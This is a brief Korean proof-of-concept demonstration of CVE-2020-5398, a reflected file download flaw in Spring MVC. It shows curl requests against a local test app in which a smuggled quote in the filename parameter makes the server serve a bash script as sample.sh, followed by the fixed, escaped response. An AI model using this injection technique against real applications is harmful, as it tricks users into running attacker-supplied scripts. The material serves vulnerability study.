
CVE-2020-5398 - Spring MVC용 RFD(반사 파일 다운로드) 공격
Spring Framework 5.2.x(5.2.3 미만), 5.1.x(5.1.13 미만), 5.0.x(5.0.16 미만) 버전에서 사용자 입력에서 파생된 filename 속성을 사용하여 응답에 'Content-Disposition' 헤더를 설정하는 애플리케이션은 RFD(반영된 파일 다운로드) 공격에 취약합니다.
./gradlew bootrun
127.0.0.1:8080에서 수신 대기.
$ curl 'http://127.0.0.1:8080/?filename=sample&contents=Hello,%20World' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.txt"
Content-Type: application/octet-stream
Content-Length: 12
Date: Fri, 17 Jan 2020 05:41:08 GMT
Hello, World
sample.txt 파일 다운로드 시작.
curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:22:18 GMT
#!/bin/bash
id
sample.sh 파일 다운로드 시작.(셸 파일)
$ curl 'http://127.0.0.1:8080/?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Aid' --dump-header -
HTTP/1.1 200
Content-Disposition: attachment; filename="sample.sh\";.txt"
Content-Type: application/octet-stream
Content-Length: 14
Date: Fri, 17 Jan 2020 05:24:47 GMT
#!/bin/bash
id
sample.sh";.txt 파일 다운로드 시작.(텍스트 파일)